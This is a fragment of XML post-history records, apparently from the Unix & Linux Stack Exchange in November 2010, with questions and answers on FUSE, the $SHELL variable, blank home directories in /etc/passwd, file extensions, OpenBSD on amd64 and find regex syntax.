  <row Id="9013" PostHistoryTypeId="2" PostId="4149" RevisionGUID="b086d87e-70ae-43b2-8a3e-f02725641876" CreationDate="2010-11-17T14:56:08.123" UserId="73" Text="I'm not positive if you mean real, on-disk filesystems or any filesystem. I've never seen a normal filesystem use FUSE, although I suppose it's possible; the main benefit of FUSE is it lets you present something to applications (or the user) that looks like a filesystem, but really just calls functions within your application when the user tries to do things like list the files in a directory or create a new file. [Plan9](http://en.wikipedia.org/wiki/Plan9) is well known for trying to make everything accessible through the filesystem, and the `/proc` pseudo-filesystem comes from them; FUSE is a way for applications to easily follow that pattern&#xD;&#xA;&#xD;&#xA;For example, here's a screenshot of a (very featureless) FUSE filesystem that gives access to SE site data:&#xD;&#xA;&#xD;&#xA;![Screenshot of FUSE filesystem in action](http://so.mrozekma.com/unix-fuse.png)&#xD;&#xA;&#xD;&#xA;Naturally none of those files actually exist; when `ls` asked for the list of files in the directory FUSE called a function in my program which did an API request to this site to load information about user 73 (me); `cat` trying to read from `display_name` and `website_url` called more functions that returned the cached data from memory, without anything actually existing on-disk" />
  <row Id="9014" PostHistoryTypeId="2" PostId="4150" RevisionGUID="ded05ea2-7f1c-4a06-85d9-15918077f63e" CreationDate="2010-11-17T15:11:40.163" UserId="912" Text="My administrator says that my default shell is set to `bash`, but &#xD;&#xA;&#xD;&#xA;    $ echo $SHELL&#xD;&#xA;    /bin/csh&#xD;&#xA;    $&#xD;&#xA;&#xD;&#xA;Is the default shell related to the `SHELL` variable at all? Is not, what is the variable used for?" />
  <row Id="9015" PostHistoryTypeId="1" PostId="4150" RevisionGUID="ded05ea2-7f1c-4a06-85d9-15918077f63e" CreationDate="2010-11-17T15:11:40.163" UserId="912" Text="Does $SHELL store the path to the default shell in Linux?" />
  <row Id="9016" PostHistoryTypeId="3" PostId="4150" RevisionGUID="ded05ea2-7f1c-4a06-85d9-15918077f63e" CreationDate="2010-11-17T15:11:40.163" UserId="912" Text="ébashàéshellàérhelàécshà" />
  <row Id="9017" PostHistoryTypeId="2" PostId="4151" RevisionGUID="f2f689a0-323c-4854-81a3-2c4d295bb744" CreationDate="2010-11-17T15:41:42.023" UserId="2619" Text="Closest I can come is:&#xD;&#xA;&#xD;&#xA;    useradd --home / -r --shell /sbin/nologin someuser&#xD;&#xA;&#xD;&#xA;But this creates an entry into /etc/htpasswd that looks something like this:&#xD;&#xA;&#xD;&#xA;    someuser:x:100:100::/:/sbin/nologin&#xD;&#xA;&#xD;&#xA;I want that '/' gone, so that it looks like this:&#xD;&#xA;&#xD;&#xA;    someuser:x:100:100:::/sbin/nologin&#xD;&#xA;&#xD;&#xA;Which is achievable through usermod:&#xD;&#xA;&#xD;&#xA;    usermod -d '' someuser&#xD;&#xA;&#xD;&#xA;But I think this is a bit backwards.&#xD;&#xA;&#xD;&#xA;Any ideas?" />
  <row Id="9018" PostHistoryTypeId="1" PostId="4151" RevisionGUID="f2f689a0-323c-4854-81a3-2c4d295bb744" CreationDate="2010-11-17T15:41:42.023" UserId="2619" Text="How would you create a user with the HOME_DIR field in /etc/passwd completely blank?" />
  <row Id="9019" PostHistoryTypeId="3" PostId="4151" RevisionGUID="f2f689a0-323c-4854-81a3-2c4d295bb744" CreationDate="2010-11-17T15:41:42.023" UserId="2619" Text="ésecurityàéusersàéetcà" />
  <row Id="9025" PostHistoryTypeId="5" PostId="4112" RevisionGUID="386f1b97-0bc0-4e99-a26d-10781086739e" CreationDate="2010-11-17T16:33:30.353" UserId="393" Comment="added 1 characters in body" Text="I mapped the &lt;kbd&gt;CapsLock&lt;/kbd&gt; to &lt;kbd&gt;ESC&lt;/kbd&gt; on the entire system. When I did it, the Capslock was on. &#xD;&#xA;&#xD;&#xA;A reboot removed the permanent state of CapsLock. It was mapped to &lt;kbd&gt;ESC&lt;/kbd&gt;&#xD;&#xA;&#xD;&#xA;It wasn't really painfull but I felt stupid when I realized what I've done!" />
  <row Id="9026" PostHistoryTypeId="2" PostId="4153" RevisionGUID="8d156e02-8460-4fe9-8393-1e03519e34d2" CreationDate="2010-11-17T16:44:48.373" UserId="2619" Text="Somehow managed to unmount /dev and thought I would be screwed forever if I rebooted the machine. &#xD;&#xA;&#xD;&#xA;Nerve wracking hour ensued trying to figure out if it would be safe to reboot it. It was, nothing bad happened." />
  <row Id="9027" PostHistoryTypeId="6" PostId="3378" RevisionGUID="c275c8ac-20eb-4eb2-83d9-eb60ae3ceeb2" CreationDate="2010-11-17T16:52:07.997" UserId="1299" Comment="edited tags" Text="écommandölineàéeditorsàéguiàésoftwareörecàépdfà" />
  <row Id="9028" PostHistoryTypeId="2" PostId="4154" RevisionGUID="abaf1e87-d9db-4814-9a4e-6ed1c440f475" CreationDate="2010-11-17T16:52:16.667" UserId="2634" Text="No, it is not related to default shell.&#xD;&#xA;&#xD;&#xA;The `$SHELL` variables stores the **current** shell executable path.&#xD;&#xA;&#xD;&#xA;The system *default* shell is defined in `/etc/default/useradd` file.&#xD;&#xA;&#xD;&#xA;Your *default* shell is defined in `/etc/passwd` file. You can change it by `chsh` command.&#xD;&#xA;" />
  <row Id="9029" PostHistoryTypeId="2" PostId="4155" RevisionGUID="68b8aa3c-8c81-4ea4-b9cc-82cc7a45a522" CreationDate="2010-11-17T17:03:29.753" UserId="2511" Text="The variable is for your information (&quot;Hey, what shell am I running under?&quot;) rather than the way you set the shell. Since Unix environment variables can only propagate down to child processes and not back up to parents, generally environment variables like this are descriptive rather than configuration options.&#xD;&#xA;&#xD;&#xA;To see your default shell, look at your entry in `/etc/passwd`, and to change that, run `chsh`. (This is assuming you're not using NIS or LDAP for this information; in that case it's unlikely to work in most real-world setups.) And as andcoz notes, the initial defaults for new users added with the standard `useradd` program are in `/etc/default/useradd`." />
  <row Id="9030" PostHistoryTypeId="2" PostId="4156" RevisionGUID="bab11513-0bc7-4d27-91fe-f764b72a35cf" CreationDate="2010-11-17T17:10:04.710" UserId="2701" Text="That's not 100% true. For example:&#xD;&#xA;&#xD;&#xA;    $&gt; echo $SHELL&#xD;&#xA;    /bin/bash&#xD;&#xA;    $&gt; /bin/ksh&#xD;&#xA;    $] echo $SHELL&#xD;&#xA;    /bin/bash&#xD;&#xA;&#xD;&#xA;$SHELL contains the parent shell for your session, which is commonly your login shell as dictated by your user entry in /etc/passwd. More clearly, $SHELL is the parent shell from which your current session spawned. In my example the current shell, Korn, is technically running within BASH, which is why $SHELL was unmodified.&#xD;&#xA;&#xD;&#xA;Obviously this is an almost exclusively semantic distinction, however, do not fall into the trap of believing that what you see is always what you get." />
  <row Id="9031" PostHistoryTypeId="5" PostId="4130" RevisionGUID="8c1fb48d-c74c-4883-9e9c-70bc9573e05d" CreationDate="2010-11-17T17:22:56.113" UserId="2688" Comment="follow-up question" Text="When a computer goes into hibernation mode, it saves the contents of the RAM into the swap space so that it can resume exactly where it left off when it powers back on.&#xD;&#xA;&#xD;&#xA;So, what if you are currently using more memory than you have RAM.  In this case, some data that would otherwise be in RAM is saved to swap.  &#xD;&#xA;&#xD;&#xA;An example.  A computer has 1GB of RAM and 1GB of swap space.  It is currently using all but 100MB of RAM and 500MB of swap.  Thus, it is needing to remember about 1.4GB of memory to save its state.  However, swap is only 1GB.  &#xD;&#xA;&#xD;&#xA;What will happen in this case?&#xD;&#xA;&#xD;&#xA;~~ edit ~~&#xD;&#xA;&#xD;&#xA;As answered below, the hibernate fails.  So then a follow-up question: &#xD;&#xA;&#xD;&#xA;When this fails, where is the error reported?" />
  <row Id="9032" PostHistoryTypeId="2" PostId="4157" RevisionGUID="4b05b3bf-c848-40b5-9cfb-a9a36fa80b03" CreationDate="2010-11-17T17:41:11.107" UserId="1984" Text="Really, it is not backwards.  An account with no login directory cannot login directly.  It can own resources and files.   What are you trying to do? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Does useradd complain without --home?&#xD;&#xA;&#xD;&#xA;You can add users directly with vi or vim.  But you have to be painfully careful.&#xD;&#xA;You also have any groups ahead of time." />
  <row Id="9033" PostHistoryTypeId="5" PostId="4157" RevisionGUID="cdbfac71-3e43-4b2e-8b8c-5f5603878c74" CreationDate="2010-11-17T17:46:40.870" UserId="1984" Comment="added 6 characters in body" Text="Really, it is not backwards.  An account with no login directory cannot login directly.  It can own resources and files.   What are you trying to do? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Does useradd complain without --home?&#xD;&#xA;&#xD;&#xA;You can add users directly with vi or vim.  But you have to be painfully careful.&#xD;&#xA;You also have added any groups ahead of time." />
  <row Id="9034" PostHistoryTypeId="2" PostId="4158" RevisionGUID="7436abed-0ecf-4f3b-8ac8-49edd862f14b" CreationDate="2010-11-17T17:51:56.123" UserId="2693" Text="You might want to lower your `default-lease-time` and `max-lease-time` in `dhcpd.conf`. This should force your clients to obtain a new lease once the time expires." />
  <row Id="9035" PostHistoryTypeId="5" PostId="4154" RevisionGUID="c4262ed2-5372-4ed9-b70d-c83bb7431f50" CreationDate="2010-11-17T18:06:58.477" UserId="2634" Comment="added 209 characters in body; deleted 10 characters in body" Text="No, it is not related to default shell.&#xD;&#xA;&#xD;&#xA;The system *default* shell is defined in `/etc/default/useradd` file.&#xD;&#xA;&#xD;&#xA;Your *default* shell is defined in `/etc/passwd` file. You can change it by `chsh` command.&#xD;&#xA;&#xD;&#xA;The `$SHELL` variables *usually* stores the **current** shell executable path. Each shell behaves differently on this point. E.g. bash sets the SHELL variable if it is unset when it starts, otherwise it leaves it unchanged. tcsh does not support this variable at all.&#xD;&#xA;" />
  <row Id="9036" PostHistoryTypeId="2" PostId="4159" RevisionGUID="95651da0-a075-45ca-b857-6111cec53c46" CreationDate="2010-11-17T18:17:33.710" UserId="2703" Text="File extensions are not necessary on unices, still every tarred, gzipped or bzipped file I encounter has a file extension like `.tar`, `.tar.gz` or `.tgz`.&#xD;&#xA;&#xD;&#xA;Is there any special reason for that or is that just convention?" />
  <row Id="9037" PostHistoryTypeId="1" PostId="4159" RevisionGUID="95651da0-a075-45ca-b857-6111cec53c46" CreationDate="2010-11-17T18:17:33.710" UserId="2703" Text="Why do tar and gzip files usually have a file extension?" />
  <row Id="9038" PostHistoryTypeId="3" PostId="4159" RevisionGUID="95651da0-a075-45ca-b857-6111cec53c46" CreationDate="2010-11-17T18:17:33.710" UserId="2703" Text="éfilesàéfilenamesà" />
  <row Id="9039" PostHistoryTypeId="2" PostId="4160" RevisionGUID="7bdbdb32-f801-4e0c-a809-f84301b9bdbd" CreationDate="2010-11-17T18:43:38.913" UserId="1097" Text="They may not **need** an extension, but it sure makes identifying them easier in the output of `ls`." />
  <row Id="9040" PostHistoryTypeId="2" PostId="4161" RevisionGUID="eb2cffab-31eb-4919-90c4-0f631e81b916" CreationDate="2010-11-17T18:44:27.680" UserId="4" Text="File extensions are primarily a convention for the humans who use the system. There are tools which do use the filename extension to do things. For example Nautilus shows me a different icon based on the file extension.&#xD;&#xA;&#xD;&#xA;If I gave you a file called `file`, you might not know how to open this file. However, if I gave you a file named `file.tar.gz` or `file.tar` you could quickly and easily figure it out." />
  <row Id="9041" PostHistoryTypeId="5" PostId="4132" RevisionGUID="40e3824d-72d1-429a-9b89-97eb363c77f0" CreationDate="2010-11-17T19:20:50.100" UserId="885" Comment="non-pseudo ttys are provided by hardware, not by the kernel alone" Text="A terminal is at the end of an electric wire, a shell is the home of turtle, tty is a strange abbreviation and a console is a kind of cabinet.&#xD;&#xA;&#xD;&#xA;Well, etymologically speaking, anyway.&#xD;&#xA;&#xD;&#xA;In unix terminology, the short answer is that&#xD;&#xA;&#xD;&#xA;* terminal = tty = text input/output environment&#xD;&#xA;* console = physical terminal&#xD;&#xA;* shell = command line interpreter&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;Console, terminal and tty are closely related. Originally, they meant a piece of equipment through which you could interact with a computer: in the early days of unix, that meant a [teleprinter](http://en.wikipedia.org/wiki/Teleprinter)-style device resembling a typewriter, sometimes called a teletypewriter, or “tty” in shorthand. The name “terminal” came from the electronic point of view, and the name “console” from the furniture point of view. Very early in unix history, electronic keyboards and displays became the norm for terminals.&#xD;&#xA;&#xD;&#xA;In unix terminology, a **tty** is a particular kind of [device file](http://en.wikipedia.org/wiki/Device_file) which implements a number of additional commands ([ioctls](http://en.wikipedia.org/wiki/Ioctl#Terminals)) beyond read and write. In its most common meaning, **terminal** is synonymous with tty. Some ttys are provided by the kernel on behalf of a hardware device, for example with the input coming from the keyboard and the output going to a text mode screen, or with the input and output transmitted over a serial line. Other ttys, sometimes called **pseudo-ttys**, are provided (through a thin kernel layer) by programs called [**terminal emulators**](http://en.wikipedia.org/wiki/Terminal_emulator), such as [Xterm](http://en.wikipedia.org/wiki/Xterm) (running in the [X Window System](http://en.wikipedia.org/wiki/X_Window_System)), [Screen](http://en.wikipedia.org/wiki/Gnu_screen) (which provides a layer of isolation between a program and another terminal), [Ssh](http://en.wikipedia.org/wiki/Secure_shell) (which connects a terminal on one machine with programs on another machine), [Expect](http://en.wikipedia.org/wiki/Expect) (for scripting terminal interactions), etc.&#xD;&#xA;&#xD;&#xA;The word terminal can also have a more traditional meaning of a device through which one interacts with a computer, typically with a keyboard and display. For example an X terminal is a kind of [thin client](http://en.wikipedia.org/wiki/Thin_client), a special-purpose computer whose only purpose is to drive a keyboard, display, mouse and occasionally other human interaction peripherals, with the actual applications running on another, more powerful computer.&#xD;&#xA;&#xD;&#xA;A **console** is generally a terminal in the physical sense that is by some definition the primary terminal directly connected to a machine. The console appears to the operating system as a (kernel-implemented) tty. On some systems, such as Linux and FreeBSD, the console appears as several ttys (special key combinations switch between these ttys); just to confuse matters, the name given to each particular tty can be “console”, ”virtual console”, ”virtual terminal”, and other variations.&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;A [**shell**](http://en.wikipedia.org/wiki/Shell_%28computing%29) is the primary interface that users see when they log in, whose primary purpose is to start other programs. (I don't know whether the original metaphor is that the shell is the home environment for the user, or that the shell is what other programs are running in.)&#xD;&#xA;&#xD;&#xA;In unix circles, **shell** has specialized to mean a [command-line shell](http://en.wikipedia.org/wiki/Shell_%28computing%29#Text_.28CLI.29_shells), centered around entering the name of the application one wants to start, followed by the names of files or other objects that the application should act on, and pressing the Enter key. Other types of environments don't use the word “shell”; for example, window systems involve “[window managers](http://en.wikipedia.org/wiki/Window_manager)” and “[desktop environments](http://en.wikipedia.org/wiki/Desktop_environment)”, not a “shell”.&#xD;&#xA;&#xD;&#xA;There are many different unix shells, but the most common ones have a common syntax based on the [Bourne_shell](http://en.wikipedia.org/wiki/Bourne_shell). When discussing “**shell programming**”, the shell is almost always implied to be a Bourne-style shell.&#xD;&#xA;&#xD;&#xA;In unix system administration, a user's **shell** is the program that is invoked when they log in. Normal user accounts have a command-line shell, but users with restricted access may have a [restricted shell](http://en.wikipedia.org/wiki/Restricted_shell) or some other specific command (e.g. for file-transfer-only accounts).&#xD;&#xA;" />
  <row Id="9042" PostHistoryTypeId="2" PostId="4162" RevisionGUID="73219f18-ed7a-44d2-b484-f6c58f286c42" CreationDate="2010-11-17T20:02:27.613" UserId="885" Text="Originally, on unix systems, the extensions on file names were a matter of convention. They allowed a human being to choose the right program to open a file. The modern convention is to use extensions in most cases; common exceptions are:&#xD;&#xA;&#xD;&#xA;* Only regular files have an extension, not directories or device names. The mere fact of being a directory or device is enough file type indication.&#xD;&#xA;* Executables that are meant to be invoked directly don't have an extension. The mere fact of being executable is enough information for the user, and the kernel doesn't care about file names.&#xD;&#xA;* Files beginning with a word in all caps are often text files, e.g. `README`, `TODO`. Sometimes there is an additional part that indicate a subcategory, e.g. `INSTALL.linux`, `INSTALL.solaris`.&#xD;&#xA;* Files whose name begins with a dot are configuration or state files of a particular application, and often don't have an extension, e.g. `.bashrc`, `.profile`, `.emacs`.&#xD;&#xA;* There are a few traditional cases, e.g. `Makefile`.&#xD;&#xA;&#xD;&#xA;(These are common cases, not hard-and-fast rules.)&#xD;&#xA;&#xD;&#xA;Most binary file formats also contain some kind of header that describes properties of the file, and typically allows the file format to be identified through [magic numbers](http://en.wikipedia.org/wiki/Magic_number_%28programming%29). The [`file`](http://en.wikipedia.org/wiki/File_%28command%29) command looks at this information and shows you its guesses.&#xD;&#xA;&#xD;&#xA;Sometimes the file extension gives more information than the file format, sometimes it's the other way round. For example many file formats consist of a [zip](http://en.wikipedia.org/wiki/ZIP_%28file_format%29) archive: Java libraries ([`.jar`](http://en.wikipedia.org/wiki/JAR_%28file_format%29)), OpenOffice documents (`.odt`, …), Microsoft Office document (`.docx`, …), etc. Another example is source code files, where the extension indicates the programming language, which can be difficult for a computer to guess automatically from the file contents. Conversely, some extensions are wildly ambiguous, for example `.o` is used for compiled code files ([object files](http://en.wikipedia.org/wiki/Object_file)), but inspection of the file contents usually easily reveals what machine type and operating system the object file is for.&#xD;&#xA;&#xD;&#xA;An advantage of the extension is that it's a lot faster to recognize it than to open the file and look for magic sequences. For example completion of file names in shells is almost always based on the name (mainly the extension), because reading every file in a large directory can take a long time whereas just reading the file names is fast enough for a &lt;kbd&gt;Tab&lt;/kbd&gt; press.&#xD;&#xA;&#xD;&#xA;Sometimes changing a file's extension can allow you to say how a file is to be interpreted, when two file formats are almost, but not wholly identical. For example a web server might treat `.shtml` and `.html` differently, the former undergoing some [server-side preprocessing](http://en.wikipedia.org/wiki/Shtml), the latter being served as-is.&#xD;&#xA;&#xD;&#xA;In the case of gzip archives, `gzip` won't recompress files whose name ends in `.gz`, `.tgz` and a few other extensions. That way you can run `gzip *` to compress every file in a directory, and already compressed files are not modified.&#xD;&#xA;" />
  <row Id="9043" PostHistoryTypeId="2" PostId="4163" RevisionGUID="524c8544-d0fa-4351-ace3-ec1f8e792253" CreationDate="2010-11-17T20:57:23.910" UserId="2701" Text="Firstly, I must agree with Jim that you should be very clear on your motivation to create such user account(s).&#xD;&#xA;&#xD;&#xA;That being said:&#xD;&#xA;&#xD;&#xA;    useradd -d /REPLACEME someuser &amp;&amp; perl -p -i -e 's/\/REPLACEME//;' /etc/passwd&#xD;&#xA;&#xD;&#xA;&lt;br&gt;&lt;br&gt;This assumes, of course, that /REPLACEME is not used anywhere else as a valid home directory. The more complex, but more precise, expression: &#xD;&#xA;&#xD;&#xA;    's/(someuser:.*:)\/REPLACEME(:.*)/$1$2/'&#xD;&#xA;&#xD;&#xA;will ensure that only the user created by useradd above is modified." />
  <row Id="9044" PostHistoryTypeId="2" PostId="4164" RevisionGUID="64dd1e67-4eb9-4ae8-bad1-c935cf9bd414" CreationDate="2010-11-17T21:19:41.430" UserId="2150" Text="I always understood environmental variables to be advisory to programs you are running.  $SHELL would be the shell you want a program to start when it needs to run a shell.  Compare with $EDITOR, you email program might use it to decide which editor to offer you.  B/c these environmental variables are so easy to change you can't really rely on them as the final word on what the world is really like.&#xD;&#xA;&#xD;&#xA;Related to your question on default shell: chsh is a command that allows you to change your login shell.  Before changing it shows you what your current choice is." />
  <row Id="9045" PostHistoryTypeId="2" PostId="4165" RevisionGUID="331d2ff7-b156-491f-b625-7c659f67e03d" CreationDate="2010-11-17T21:26:55.667" UserId="2707" Text="I would like to use the 64 bit version of OpenBSD,&#xD;&#xA;but I'm not really sure how good it works.&#xD;&#xA;&#xD;&#xA;Are there any known problems? Is the 32 bit version more recommended for productive environment?" />
  <row Id="9046" PostHistoryTypeId="1" PostId="4165" RevisionGUID="331d2ff7-b156-491f-b625-7c659f67e03d" CreationDate="2010-11-17T21:26:55.667" UserId="2707" Text="OpenBSD: 32 bit or 64 bit" />
  <row Id="9047" PostHistoryTypeId="3" PostId="4165" RevisionGUID="331d2ff7-b156-491f-b625-7c659f67e03d" CreationDate="2010-11-17T21:26:55.667" UserId="2707" Text="é64bitàéopenbsdàé32bità" />
  <row Id="9048" PostHistoryTypeId="2" PostId="4166" RevisionGUID="8b7b2e46-8316-457a-99da-2bcfd89526e6" CreationDate="2010-11-17T21:50:14.967" UserId="885" Text="The “default shell“ for a unix *system administrator* is what is stored in the “shell” column of the user database. This is the program that is invoked when you log in in text mode (on a text mode console, or over the network via e.g. ssh).&#xD;&#xA;&#xD;&#xA;The ”default shell” for a unix *application* is either `sh` or `$SHELL`. There is some variation as to whether `$SHELL` is intended to be an interactive shell or a shell to run scripts. The [POSIX specification](http://www.opengroup.org/onlinepubs/009695399/basedefs/xbd_chap08.html#tag_08_03) is ambiguous in that regard, reflecting diverging practice:&#xD;&#xA;&#xD;&#xA;&gt; This variable shall represent a pathname of the user's preferred command language interpreter. If this interpreter does not conform to the Shell Command Language in the Shell and Utilities volume of IEEE Std 1003.1-2001, [Chapter 2, Shell Command Language](http://www.opengroup.org/onlinepubs/009695399/utilities/xcu_chap02.html), utilities may behave differently from those described in IEEE Std 1003.1-2001.&#xD;&#xA;&#xD;&#xA;That bit about the preferred command language means that some applications may try to run commands in `$SHELL`, using POSIX shell command syntax. However, the normal way to run a shell command in a unix application is through functions such as [`system`](http://www.opengroup.org/onlinepubs/009695399/functions/system.html), which is supposed to find a suitable shell regardless of the value of the `$SHELL` environment variable. Bash and ksh are examples of POSIX-compliant shells. Zsh comes close. Csh is different, and you may occasionally run into trouble due to `SHELL` being set to csh (it's not very common as most applications do call `sh` and csh is compatible enough for basic use).&#xD;&#xA;&#xD;&#xA;In practice, for a unix *user*, `$SHELL` is your preferred interactive shell, i.e., what you want to see when you start a terminal emulator. It doesn't have to be the same as your login shell¹: you can set it in your `.profile` or `.login`.&#xD;&#xA;&#xD;&#xA;¹ &lt;sub&gt;&#xD;&#xA;For example, I typically leave whatever login shell is the default, maintain a Bourne-compatible `.profile`, but set `SHELL` to zsh if it's available.&#xD;&#xA;&lt;/sub&gt;&#xD;&#xA;" />
  <row Id="9049" PostHistoryTypeId="2" PostId="4167" RevisionGUID="6bf2a41e-c0d5-4c00-bfdc-142fd00fc6db" CreationDate="2010-11-17T21:52:21.453" UserId="1941" Text="My Samsung Galaxy S doesn't like files where the name contains a long string after the first dot. I guess some part of the software has a too short buffer for the file extension. How can I find all files on my Micro-SD-Card mounted at /media/sd where the filename has more than five characters after the first dot? &#xD;&#xA;&#xD;&#xA;Reading the find manpage, I thought&#xD;&#xA;&#xD;&#xA;`find . -regex '.*\..\{5,\}'`&#xD;&#xA;&#xD;&#xA;would work, but it doesn't give any hits, so I somehow don't get my regular expression right." />
  <row Id="9050" PostHistoryTypeId="1" PostId="4167" RevisionGUID="6bf2a41e-c0d5-4c00-bfdc-142fd00fc6db" CreationDate="2010-11-17T21:52:21.453" UserId="1941" Text="How to find files with names having a long string after the first dot" />
  <row Id="9051" PostHistoryTypeId="3" PostId="4167" RevisionGUID="6bf2a41e-c0d5-4c00-bfdc-142fd00fc6db" CreationDate="2010-11-17T21:52:21.453" UserId="1941" Text="éfindàéregexà" />
  <row Id="9052" PostHistoryTypeId="2" PostId="4168" RevisionGUID="c1a3c039-4b2e-46d4-b231-cba8fe84588d" CreationDate="2010-11-17T22:09:35.180" UserId="2594" Text="FUSE isn't really a file system per se but code that allows file systems to be implemented as processes instead of kernel modules.&#xD;&#xA;&#xD;&#xA;One of the most useful benefit of FUSE is to allow GPL code to &quot;mix&quot; with non GPL one.&#xD;&#xA;For example, Gnu/Linux and ZFS http://zfs-fuse.net/ or NTFS-3G on many OSes like OpenSolaris and *BSD http://www.tuxera.com/community/ntfs-3g-download/&#xD;&#xA;&#xD;&#xA;The main drawback is the performance impact compared to native (kernel) drivers." />
  <row Id="9053" PostHistoryTypeId="2" PostId="4169" RevisionGUID="a94eb9c9-3bca-45b7-b759-3715725553a5" CreationDate="2010-11-17T22:18:06.077" UserId="1207" Text="The problem is that the default type of regex's used by find is emacs-style. Find's [documentation for emacs style regexes][1] doesn't include the `\{n,\}` construction--leading me to believe that it isn't supported in find's implemenation of emacs-style regular expressions. The [emacs-wiki lists this as valid][2], however it is possible that this wasn't always the case.  &#xD;&#xA;&#xD;&#xA;I found that your regex produced output if you do this:&#xD;&#xA;&#xD;&#xA;    $ find . -regextype posix-basic -regex '.*\..\{5,\}'&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/software/findutils/manual/html_mono/find.html#emacs-regular-expression-syntax&#xD;&#xA;  [2]: http://www.emacswiki.org/emacs/RegularExpression#toc1" />
  <row Id="9054" PostHistoryTypeId="2" PostId="4170" RevisionGUID="e6a19d4e-ccac-4805-8047-55be24cfd8cd" CreationDate="2010-11-17T22:22:45.817" UserId="885" Text="Unix filesystems are traditionally implemented in the kernel. [FUSE](http://fuse.sourceforge.net/) allows filesystems to be implemented by a user program.&#xD;&#xA;&#xD;&#xA;In-kernel filesystems are better suited for main filesystems for programs and data:&#xD;&#xA;&#xD;&#xA;* They can be used on boot media (the program implementing a FUSE filesystem has to be loaded from somewhere).&#xD;&#xA;* They're more robust, in that they won't go away due to a process crashing or being killed by mistake.&#xD;&#xA;* They're somewhat faster.&#xD;&#xA;&#xD;&#xA;FUSE filesystems have other advantages, mostly revolving around their flexibility:&#xD;&#xA;&#xD;&#xA;* They can be loaded and mounted by ordinary users, so they're convenient for file systems that users tend to mount by themselves: for network access, for going through archive files, for removable media, etc.&#xD;&#xA;* If a FUSE filesystem driver crashes, it won't panic your kernel: you'll see nothing worse than I/O errors in applications that were accessing the filesystem.&#xD;&#xA;* They can be programmed very quickly; there are [FUSE bindings](http://apps.sourceforge.net/mediawiki/fuse/index.php?title=LanguageBindings) for many scripting languages where a useful FUSE filesystem driver can be written in a few hundred lines of code.&#xD;&#xA;* They can be deployed very quickly, both because there is no need for administrator intervention to install them and because they can be ported easily between [supported OSes](http://apps.sourceforge.net/mediawiki/fuse/index.php?title=OperatingSystems).&#xD;&#xA;* There are no licensing issues related to being statically linked with a kernel (this is affecting [zfs](http://en.wikipedia.org/wiki/ZFS)).&#xD;&#xA;" />
  <row Id="9055" PostHistoryTypeId="2" PostId="4171" RevisionGUID="ce3779e3-487f-4678-be9a-0a81da579e23" CreationDate="2010-11-17T22:30:32.903" UserId="885" Text="Braces are not always included in basic regexp implementations. I don't know if you have GNU find or Busybox find; Busybox may not have all the features of GNU find.&#xD;&#xA;&#xD;&#xA;A portable way to search for files with a long extension is `find . -name '*.?????*'`.&#xD;&#xA;&#xD;&#xA;Note that your regexp would match most files under a directory whose name contains a dot.&#xD;&#xA;" />
  <row Id="9056" PostHistoryTypeId="2" PostId="4172" RevisionGUID="30ce69f2-023c-4187-9139-d426d0cb4ebd" CreationDate="2010-11-17T22:40:01.457" UserId="885" Text="The easiest way is to take the Apache startup script in Ubuntu's Apache package, and replace `/usr/sbin/apachectl` by `/server/apache/bin/apachectl`.&#xD;&#xA;&#xD;&#xA;If it's a learning exercise, you have several options (from most flexible to least flexible):&#xD;&#xA;&#xD;&#xA;* Start Apache through [Upstart](http://upstart.ubuntu.com/). You have to write a file `/etc/init/my_apache.conf`. Given the state of Upstart documentation, I recommend reading existing examples and the man pages in parallel.&#xD;&#xA;* Start Apache through a SysV script: an executable script in `/etc/init.d` that starts, stops, restarts or reloads the Apache configuration depending on whether its first (and sole) argument is `start`, `stop`, `restart`, or `reload` (with `force-reload` as an alias for `reload`). To have the script start on boot, run [`update-rc.d`](http://manpages.ubuntu.com/manpages/maverick/man8/update-rc.d.8.html). See also [the Ubuntu Bootup Howto](https://help.ubuntu.com/community/UbuntuBootupHowto).&#xD;&#xA;* Start Apache from `/etc/rc.local`.&#xD;&#xA;" />
  <row Id="9057" PostHistoryTypeId="2" PostId="4173" RevisionGUID="6143bc79-f405-4fef-b720-83035585203a" CreationDate="2010-11-17T23:06:18.353" UserId="885" Text="This could be due to a misconfigured [pam_xauth](http://www.kernel.org/pub/linux/libs/pam/Linux-PAM-html/sag-pam_xauth.html) PAM module. It is supposed to copy your keys to a temporary file when you run `su`. The behavior you describe is consistent with pam_xauth creating the temporary file but somehow not copying the keys (perhaps because you have a `~/.xauth/export` or a `/root/.xauth/import`).&#xD;&#xA;" />
  <row Id="9058" PostHistoryTypeId="2" PostId="4174" RevisionGUID="22c4b55d-e657-44ba-a429-7ca93a7a3a81" CreationDate="2010-11-17T23:23:46.067" UserId="885" Text="I assume that you're wondering about [amd64](http://en.wikipedia.org/wiki/X86-64) vs [i386](http://en.wikipedia.org/wiki/IA-32), the 64-bit and 32-bit architectures on PCs (there's also a choice of word size on [Sparc64](http://www.openbsd.org/sparc64.html)).&#xD;&#xA;&#xD;&#xA;According to the [official platform description](http://www.openbsd.org/amd64.html):&#xD;&#xA;&#xD;&#xA;&gt; The only major shortcoming at this time is that the kernel debugger [ddb](http://www.openbsd.org/cgi-bin/man.cgi?query=ddb&amp;arch=amd64&amp;sektion=4) is somewhat poor.&#xD;&#xA;&#xD;&#xA;Another mentioned limitation is that if your processor lacks the [NX bit](http://en.wikipedia.org/wiki/NX_bit) (most amd64 processors have it), on a 64-bit system, you won't get OpenBSD's protection against some exploits based on uploading executable code as data and exploiting a bug (e.g. a buffer overflow) to execute that code.&#xD;&#xA;&#xD;&#xA;Another resource to check is [the FAQ](http://www.openbsd.org/faq/faq12.html#amd64). Most importantly, unlike on many other operating systems, you [can't run 32-bit binaries on OpenBSD/amd64](http://www.openbsd.org/faq/faq12.html#amd64i386bin).&#xD;&#xA;&#xD;&#xA;There are several virtualization technologies that allow running OpenBSD/amd64 and OpenBSD/i386 on the same machine (Xen, Vmware, and VirtualBox should support OpenBSD/amd64 guests with a 64-bit hypervisor or host OS; I don't know if there's a way to virtualize OpenBSD/i386 on an OpenBSD/amd64 host).&#xD;&#xA;" />
